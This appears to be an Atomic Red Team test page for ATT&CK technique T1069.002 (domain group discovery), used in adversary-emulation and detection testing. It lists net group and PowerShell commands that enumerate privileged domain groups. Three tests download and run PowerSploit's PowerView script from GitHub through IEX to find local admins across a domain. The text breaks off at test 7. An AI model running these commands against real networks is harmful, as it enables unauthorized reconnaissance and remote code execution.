# T1069.002 - Permission Groups Discovery: Domain Groups

## Description from ATT&CK

> Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
> 
> Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.

[Source](https://attack.mitre.org/techniques/T1069/002)

## Atomic Tests

- [Atomic Test #1: Basic Permission Groups Discovery Windows (Domain)](#atomic-test-1-basic-permission-groups-discovery-windows-domain)
- [Atomic Test #2: Permission Groups Discovery PowerShell (Domain)](#atomic-test-2-permission-groups-discovery-powershell-domain)
- [Atomic Test #3: Elevated group enumeration using net group (Domain)](#atomic-test-3-elevated-group-enumeration-using-net-group-domain)
- [Atomic Test #4: Find machines where user has local admin access (PowerView)](#atomic-test-4-find-machines-where-user-has-local-admin-access-powerview)
- [Atomic Test #5: Find local admins on all machines in domain (PowerView)](#atomic-test-5-find-local-admins-on-all-machines-in-domain-powerview)
- [Atomic Test #6: Find Local Admins via Group Policy (PowerView)](#atomic-test-6-find-local-admins-via-group-policy-powerview)
- [Atomic Test #7: Enumerate Users Not Requiring Pre Auth (ASRepRoast)](#atomic-test-7-enumerate-users-not-requiring-pre-auth-asreproast)
- [Atomic Test #8: Adfind - Query Active Directory Groups](#atomic-test-8-adfind---query-active-directory-groups)
- [Atomic Test #9: Enumerate Active Directory Groups with Get-AdGroup](#atomic-test-9-enumerate-active-directory-groups-with-get-adgroup)
- [Atomic Test #10: Enumerate Active Directory Groups with ADSISearcher](#atomic-test-10-enumerate-active-directory-groups-with-adsisearcher)
- [Atomic Test #11: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)](#atomic-test-11-get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting)
- [Atomic Test #12: Get-DomainGroupMember with PowerView](#atomic-test-12-get-domaingroupmember-with-powerview)
- [Atomic Test #13: Get-DomainGroup with PowerView](#atomic-test-13-get-domaingroup-with-powerview)
- [Atomic Test #14: Active Directory Enumeration with LDIFDE](#atomic-test-14-active-directory-enumeration-with-ldifde)
- [Atomic Test #15: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS](#atomic-test-15-active-directory-domain-search-using-ldap---linux-ubuntumacos)

### Atomic Test #1: Basic Permission Groups Discovery Windows (Domain)

Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `dd66d77d-8998-48c0-8024-df263dc2ce5d`

#### Attack Commands: Run with `command_prompt`!

```cmd
net localgroup
net group /domain
net group "enterprise admins" /domain
net group "domain admins" /domain
```

### Atomic Test #2: Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user | User to identify what groups a user is a member of | string | $env:USERNAME|

#### Attack Commands: Run with `powershell`!

```powershell
get-ADPrincipalGroupMembership #{user} | select name
```

### Atomic Test #3: Elevated group enumeration using net group (Domain)

Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `0afb5163-8181-432e-9[PII_REDACTED]c0c37`

#### Attack Commands: Run with `command_prompt`!

```cmd
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
```

### Atomic Test #4: Find machines where user has local admin access (PowerView)

Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `a2d71eee-a353-4232-9f86-54f4288dd8c1`

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
```

### Atomic Test #5: Find local admins on all machines in domain (PowerView)

Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd`

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose
```

### Atomic Test #6: Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `64fdb43b-5259-467a-b000-1b02c00e510a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | hostname of the computer to analyze | path | $env:COMPUTERNAME|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
```

### Atomic Test #7: Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

**Sup